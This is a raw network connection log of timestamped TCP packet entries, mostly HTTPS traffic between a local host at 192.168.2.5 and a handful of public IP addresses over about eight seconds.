Nov 24, 2024 04:24:04.968667030 CET	50096	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.968672991 CET	443	50096	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.976680040 CET	50105	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.976739883 CET	443	50105	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:04.977299929 CET	50105	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.978292942 CET	50105	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:04.978311062 CET	443	50105	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:05.720019102 CET	49703	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:24:05.878325939 CET	443	50099	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:05.878995895 CET	50099	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:05.879049063 CET	443	50099	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:05.879425049 CET	50099	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:05.879432917 CET	443	50099	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:05.983695984 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:05.984039068 CET	50100	443	192.168.2.5	142.250.181.100
Nov 24, 2024 04:24:05.984052896 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:05.985517979 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:05.985707045 CET	50100	443	192.168.2.5	142.250.181.100
Nov 24, 2024 04:24:05.986521006 CET	50100	443	192.168.2.5	142.250.181.100
Nov 24, 2024 04:24:05.986603975 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:05.986768007 CET	50100	443	192.168.2.5	142.250.181.100
Nov 24, 2024 04:24:05.986774921 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:06.033179998 CET	50100	443	192.168.2.5	142.250.181.100
Nov 24, 2024 04:24:06.116627932 CET	443	50101	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.117038965 CET	50101	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.117068052 CET	443	50101	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.117476940 CET	50101	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.117480993 CET	443	50101	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.476393938 CET	443	50099	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.476454020 CET	443	50099	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.476723909 CET	50099	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.476937056 CET	50099	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.476989031 CET	443	50099	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.477035999 CET	50099	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.477055073 CET	443	50099	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.480195045 CET	443	50103	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.480627060 CET	50106	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.480652094 CET	443	50106	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.480724096 CET	50106	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.480914116 CET	50106	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.480918884 CET	443	50106	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.480947018 CET	50103	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.480974913 CET	443	50103	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.481312990 CET	50103	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.481317997 CET	443	50103	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.567565918 CET	443	50104	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.568073034 CET	50104	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.568084955 CET	443	50104	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.568501949 CET	50104	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.568506956 CET	443	50104	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.680028915 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:06.680099964 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:06.680147886 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:06.680197001 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:06.680383921 CET	50100	443	192.168.2.5	142.250.181.100
Nov 24, 2024 04:24:06.680402040 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:06.681101084 CET	50100	443	192.168.2.5	142.250.181.100
Nov 24, 2024 04:24:06.681144953 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:06.681355000 CET	443	50100	142.250.181.100	192.168.2.5
Nov 24, 2024 04:24:06.681371927 CET	50100	443	192.168.2.5	142.250.181.100
Nov 24, 2024 04:24:06.681641102 CET	50100	443	192.168.2.5	142.250.181.100
Nov 24, 2024 04:24:06.801923990 CET	443	50101	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.802012920 CET	443	50101	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.802103996 CET	50101	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.802129030 CET	443	50101	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.802154064 CET	443	50101	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.802335024 CET	50101	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.802516937 CET	50101	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.802531958 CET	443	50101	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.802541018 CET	50101	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.802546978 CET	443	50101	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.805181026 CET	50107	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.805223942 CET	443	50107	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.805305958 CET	50107	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.805403948 CET	50107	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.805413008 CET	443	50107	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.926793098 CET	443	50103	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.929965019 CET	443	50103	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.930028915 CET	50103	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.930064917 CET	50103	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.930073977 CET	443	50103	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.930083990 CET	50103	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.930088043 CET	443	50103	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.932579994 CET	50108	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.932614088 CET	443	50108	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.932667971 CET	50108	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.932825089 CET	50108	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.932833910 CET	443	50108	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.984244108 CET	443	50105	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.984622002 CET	50105	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.984653950 CET	443	50105	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:06.985027075 CET	50105	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:06.985038996 CET	443	50105	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:07.009291887 CET	443	50104	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:07.012526035 CET	443	50104	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:07.012593031 CET	50104	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:07.012634039 CET	50104	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:07.012650013 CET	443	50104	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:07.012660980 CET	50104	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:07.012665987 CET	443	50104	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:07.014837027 CET	50109	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:07.014880896 CET	443	50109	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:07.014986038 CET	50109	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:07.015125036 CET	50109	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:07.015141964 CET	443	50109	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:07.417963028 CET	443	50105	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:07.420902967 CET	443	50105	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:07.422691107 CET	50105	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:07.422771931 CET	50105	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:07.422771931 CET	50105	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:07.422816992 CET	443	50105	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:07.422847033 CET	443	50105	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:07.425159931 CET	50110	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:07.425201893 CET	443	50110	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:07.426146984 CET	50110	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:07.426280022 CET	50110	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:07.426294088 CET	443	50110	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.203344107 CET	443	50106	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.205236912 CET	50106	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.205249071 CET	443	50106	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.205619097 CET	50106	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.205625057 CET	443	50106	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.641681910 CET	443	50106	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.641705990 CET	443	50106	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.641773939 CET	443	50106	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.641802073 CET	50106	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.641940117 CET	50106	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.641983986 CET	50106	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.641995907 CET	443	50106	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.642102003 CET	50106	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.642107010 CET	443	50106	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.644646883 CET	50111	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.644685984 CET	443	50111	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.644942999 CET	50111	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.645113945 CET	50111	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.645148039 CET	443	50111	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.655770063 CET	443	50107	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.656167030 CET	50107	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.656191111 CET	443	50107	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.656609058 CET	50107	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.656615973 CET	443	50107	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.713650942 CET	443	50108	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.714015007 CET	50108	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.714040041 CET	443	50108	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.714410067 CET	50108	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.714415073 CET	443	50108	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.864237070 CET	443	50109	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.864604950 CET	50109	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.864619970 CET	443	50109	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:08.865010977 CET	50109	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:08.865019083 CET	443	50109	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.109829903 CET	443	50107	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.112952948 CET	443	50107	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.113037109 CET	50107	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.113073111 CET	50107	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.113073111 CET	50107	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.113091946 CET	443	50107	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.113106012 CET	443	50107	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.115830898 CET	50112	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.115922928 CET	443	50112	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.115994930 CET	50112	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.116139889 CET	50112	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.116178036 CET	443	50112	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.142836094 CET	443	50110	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.143300056 CET	50110	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.143325090 CET	443	50110	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.143703938 CET	50110	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.143711090 CET	443	50110	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.157764912 CET	443	50108	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.157830000 CET	443	50108	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.157883883 CET	50108	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.158062935 CET	50108	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.158080101 CET	443	50108	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.158091068 CET	50108	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.158096075 CET	443	50108	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.160573959 CET	50113	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.160599947 CET	443	50113	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.160819054 CET	50113	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.160984993 CET	50113	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.160998106 CET	443	50113	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.321847916 CET	443	50109	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.321871996 CET	443	50109	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.322017908 CET	50109	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.322046041 CET	443	50109	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.322257042 CET	50109	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.322267056 CET	443	50109	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.322282076 CET	50109	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.322302103 CET	443	50109	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.322355032 CET	443	50109	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.322892904 CET	50109	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.324814081 CET	50114	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.324841022 CET	443	50114	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.325040102 CET	50114	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.325158119 CET	50114	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.325170040 CET	443	50114	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.578696966 CET	443	50110	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.578761101 CET	443	50110	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.578950882 CET	50110	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.578984976 CET	50110	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.578984976 CET	50110	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.579000950 CET	443	50110	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.579009056 CET	443	50110	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.581461906 CET	50115	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.581485033 CET	443	50115	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.581546068 CET	50115	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.581698895 CET	50115	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:09.581711054 CET	443	50115	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:09.909410000 CET	50094	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:09.909501076 CET	443	50094	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:09.909816027 CET	443	50094	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:09.911509991 CET	50095	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:09.911585093 CET	443	50095	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:09.912017107 CET	443	50095	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:09.912038088 CET	50013	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:24:09.916054010 CET	50092	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:09.916096926 CET	443	50092	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:09.916662931 CET	443	50092	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:09.917023897 CET	50092	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:09.917041063 CET	443	50092	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:09.917108059 CET	50094	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:09.917290926 CET	443	50094	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:09.917639017 CET	50094	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:09.917650938 CET	443	50094	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:09.917967081 CET	50095	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:09.918091059 CET	50095	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:09.918215990 CET	443	50095	34.120.208.123	192.168.2.5
Nov 24, 2024 04:24:09.919661999 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:24:09.919909000 CET	50095	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:09.919924974 CET	50092	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:09.919925928 CET	50094	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:24:10.031573057 CET	80	50013	34.107.221.82	192.168.2.5
Nov 24, 2024 04:24:10.039149046 CET	80	50005	34.107.221.82	192.168.2.5
Nov 24, 2024 04:24:10.226738930 CET	80	50013	34.107.221.82	192.168.2.5
Nov 24, 2024 04:24:10.252551079 CET	80	50005	34.107.221.82	192.168.2.5
Nov 24, 2024 04:24:10.258069992 CET	50013	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:24:10.310256004 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:24:10.377604961 CET	80	50013	34.107.221.82	192.168.2.5
Nov 24, 2024 04:24:10.461013079 CET	443	50111	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:10.463440895 CET	50111	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:10.463479042 CET	443	50111	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:10.463999033 CET	50111	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:10.464004993 CET	443	50111	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:10.573282957 CET	80	50013	34.107.221.82	192.168.2.5
Nov 24, 2024 04:24:10.633443117 CET	50013	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:24:10.910062075 CET	443	50111	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:10.910079956 CET	443	50111	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:10.910131931 CET	50111	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:10.910166025 CET	443	50111	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:10.911443949 CET	50111	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:10.911457062 CET	443	50111	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:10.911463976 CET	50111	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:10.911607981 CET	443	50111	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:10.911638975 CET	443	50111	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:10.911942959 CET	50111	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:10.914154053 CET	50116	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:10.914210081 CET	443	50116	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:10.914351940 CET	50116	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:10.914516926 CET	50116	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:10.914532900 CET	443	50116	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:10.967974901 CET	443	50112	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:10.968497992 CET	50112	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:10.968516111 CET	443	50112	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:10.968918085 CET	50112	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:10.968920946 CET	443	50112	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.006284952 CET	443	50113	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.006691933 CET	50113	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.006716013 CET	443	50113	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.007102966 CET	50113	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.007110119 CET	443	50113	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.104819059 CET	443	50114	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.105254889 CET	50114	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.105284929 CET	443	50114	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.105671883 CET	50114	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.105676889 CET	443	50114	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.307611942 CET	443	50115	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.308087111 CET	50115	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.308108091 CET	443	50115	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.308528900 CET	50115	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.308538914 CET	443	50115	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.440506935 CET	443	50112	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.440536022 CET	443	50112	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.440599918 CET	50112	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.440630913 CET	443	50112	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.440790892 CET	50112	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.440800905 CET	443	50112	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.440809965 CET	50112	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.440962076 CET	443	50112	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.440998077 CET	443	50112	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.441436052 CET	50112	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.443339109 CET	50117	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.443370104 CET	443	50117	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.443451881 CET	50117	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.443684101 CET	50117	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.443692923 CET	443	50117	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.458838940 CET	443	50113	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.458869934 CET	443	50113	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.458924055 CET	50113	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.458940029 CET	443	50113	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.458960056 CET	443	50113	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.459042072 CET	50113	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.459062099 CET	50113	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.459074974 CET	443	50113	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.459084034 CET	50113	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.459088087 CET	443	50113	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.461245060 CET	50118	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.461292982 CET	443	50118	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.461513042 CET	50118	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.461611986 CET	50118	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.461627007 CET	443	50118	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.548307896 CET	443	50114	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.548330069 CET	443	50114	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.548480988 CET	50114	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.548502922 CET	443	50114	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.548917055 CET	50114	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.548929930 CET	443	50114	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.548939943 CET	50114	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.549065113 CET	443	50114	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.549096107 CET	443	50114	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.549139977 CET	50114	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.551153898 CET	50119	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.551193953 CET	443	50119	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.551285982 CET	50119	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.551445961 CET	50119	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.551455021 CET	443	50119	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.757370949 CET	443	50115	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.757524967 CET	443	50115	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.757677078 CET	50115	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.757738113 CET	50115	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.757738113 CET	50115	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.757755995 CET	443	50115	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.757764101 CET	443	50115	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.760191917 CET	50120	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.760236979 CET	443	50120	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:11.760303020 CET	50120	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.760415077 CET	50120	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:11.760432005 CET	443	50120	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:12.759464025 CET	443	50116	13.107.246.63	192.168.2.5
Nov 24, 2024 04:24:12.760719061 CET	50116	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:12.760719061 CET	50116	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:24:12.760812998 CET	443	50116	13.107.246.63	192.168.2.5
